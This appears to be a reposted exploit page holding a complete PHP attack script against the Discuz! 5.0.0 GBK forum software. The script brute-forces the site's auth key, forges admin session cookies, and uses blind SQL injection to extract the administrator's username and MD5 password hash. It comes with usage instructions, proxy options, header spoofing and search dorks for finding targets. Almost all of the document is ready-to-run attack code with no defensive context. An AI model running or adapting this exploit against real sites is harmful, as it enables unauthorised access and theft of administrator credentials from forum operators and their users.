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Discuz! 5.0.0 GBK SQL Injection / Admin Credentials Disclosure Exploit

Discuz! 5.0.0 GBK SQL Injection / Admin Credentials Disclosure Exploit

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代码:
<?php
print_r(&#39;
---------------------------------------------------------------------------
Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit
by rgod [email]rgod@autistici.org[/email]
site: [url]http://retrogod.altervista.org[/url]
dorks: "powered by discuz! 5.0.0
     "powered by discuz!
---------------------------------------------------------------------------
&#39;);
if ($argc<3) {
   print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path OPTIONS
host:    target server (ip/hostname)
path:    path to discuz
Options:
-p[port]:   specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php &#39;.$argv[0].&#39; localhost /discuz/ -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost /discuz/ -p81
---------------------------------------------------------------------------
&#39;);
   die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
  if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
  {$result.="  .";}
  else
  {$result.="  ".$string[$i];}
  if (strlen(dechex(ord($string[$i])))==2)
  {$exa.=" ".dechex(ord($string[$i]));}
  else
  {$exa.=" 0".dechex(ord($string[$i]));}
  $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
return $exa."\r\n".$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
   $ock=fsockopen(gethostbyname($host),$port);
   if (!$ock) {
    echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
   }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
   if (!$c) {
    echo &#39;Not a valid proxy...&#39;;die;
   }
   $parts=explode(&#39;:&#39;,$proxy);
   echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
   $ock=fsockopen($parts[0],$parts[1]);
   if (!$ock) {
    echo &#39;No response from proxy...&#39;;die;
   }
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
   $html=&#39;&#39;;
   while (!feof($ock)) {
    $html.=fgets($ock);
   }
  }
  else {
   $html=&#39;&#39;;
   while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
    $html.=fread($ock,1);
   }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>&#39;/&#39;) or ($path[strlen($path)-1]<>&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

echo "please wait...\n";

//from global.func.php
function authcode($string, $operation, $key = &#39;&#39;) {
   $key = $key ? $key : $GLOBALS[&#39;discuz_auth_key&#39;];
   $coded = &#39;&#39;;
   $keylength = 32;
   $string = $operation == &#39;DECODE&#39; ? base64_decode($string) : $string;
     for($i = 0; $i < strlen($string); $i += 32) {
      $coded .= substr($string, $i, 32) ^ $key;
   }
   $coded = $operation == &#39;ENCODE&#39; ? str_replace(&#39;=&#39;, &#39;&#39;, base64_encode($coded)) : $coded;
   return $coded;
}

//stolen from install.php
function random($length) {
   $hash = &#39;&#39;;
   $chars = &#39;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz&#39;;
   $max = strlen($chars) - 1;
   mt_srand((double)microtime() * 1000000);
   for($i = 0; $i < $length; $i++) {
      $hash .= $chars[mt_rand(0, $max)];
   }
   return $hash;
}

$agent="Googlebot/2.1";
//see sql errors... you need auth key,
//it&#39;s a value mixed up with the random string in cache_settigns.php and your user-agent, so let&#39;s ask ;)
$tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
   $discuz_auth_key=random(32);
   $packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";
   $packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
   $packet.="User-Agent: $agent\r\n";
   $packet.="Host: ".$host."\r\n";
   $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n";
   $packet.="Accept: text/plain\r\n";
   $packet.="Connection: Close\r\n\r\n";
   $packet.=$data;
   sendpacketii($packet);
   $html=html_entity_decode($html);
   $html=str_replace("<br />","",$html);
   $t=explode("AND m.password=&#39;",$html);
   $t2=explode("&#39; ",$t[1]);
   $pwd_f=$t2[0];
   $t=explode("AND m.secques=&#39;",$html);
   $t2=explode("&#39;\n",$t[1]);
   $secques_f=$t2[0];
   $t=explode("AND m.uid=&#39;",$html);
   $t2=explode("&#39;\x0d",$t[1]);
   $uid_f=$t2[0];
   $my_string=$pwd_f."\t".$secques_f."\t".$uid_f;
   if ((strlen($my_string)==270) and (!eregi("=",$my_string))){
      break;
   }
}
$temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE");
//calculating key...
$key="";
for ($j=0; $j<32;  $j++){
   for ($i=0; $i<255; $i++){
      $aa="";
      if ($j<>0){
        for ($k=1; $k<=$j; $k++){
           $aa.="a";
        }
      }
      $GLOBALS[&#39;discuz_auth_key&#39;]=$aa.chr($i);
      $t = authcode($temp,"DECODE");
      if ($t[$j]==$my_string[$j]){
        $key.=chr($i);
      }
  }
}

//echo "AUTH KEY ->".$key."\r\n";
$GLOBALS[&#39;discuz_auth_key&#39;]=$key;

echo "pwd hash (md5) -> ";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
   for ($i=0; $i<=255; $i++)
   {
      if (in_array($i,$chars))
      {
        //you can use every char because of base64_decode()...so this bypass magic quotes...
        //and some help by extract() to overwrite vars
        $sql="999999&#39;/**/UNION/**/SELECT/**/&#39;tOe7fl&#39;,1,s.groupid=&#39;6&#39;/**/AS/**/ipbanned,1,0,20366,1,&#39;suntzu&#39;,&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;,&#39;&#39;,1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
        $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
        $packet.="User-Agent: $agent\r\n";
        $packet.="CLIENT-IP: 1.2.3.4\r\n";
        $packet.="Host: ".$host."\r\n";
        $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
        $packet.="Accept: text/plain\r\n";
        $packet.="Connection: Close\r\n\r\n";
        $packet.=$data;
        sendpacketii($packet);
        if (eregi("action=groupexpiry",$html)){
           $password.=chr($i);echo chr($i);sleep(1);break;
        }
      }
      if ($i==255) {
        die("\nExploit failed...");
      }
   }
$j++;
}

echo "\nadmin user    -> ";
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
   for ($i=0; $i<=255; $i++)
   {
      $sql="999999&#39;/**/UNION/**/SELECT/**/&#39;tOe7fl&#39;,1,s.groupid=&#39;6&#39;/**/AS/**/ipbanned,1,0,20366,1,&#39;suntzu&#39;,&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;,&#39;&#39;,1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
      $packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
      $packet.="User-Agent: $agent\r\n";
      $packet.="CLIENT-IP: 1.2.3.4\r\n";
      $packet.="Host: ".$host."\r\n";
      $packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
      $packet.="Accept: text/plain\r\n";
      $packet.="Connection: Close\r\n\r\n";
      $packet.=$data;
      sendpacketii($packet);
      if (eregi("action=groupexpiry",$html)){
        $admin.=chr($i);echo chr($i);sleep(1);break;
      }
      if ($i==255) {die("\nExploit failed...");}
  }
$j++;
}

function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}

if (is_hash($password)) {
  echo "exploit succeeded...";
}
else {
  echo "exploit failed...";
}
?>

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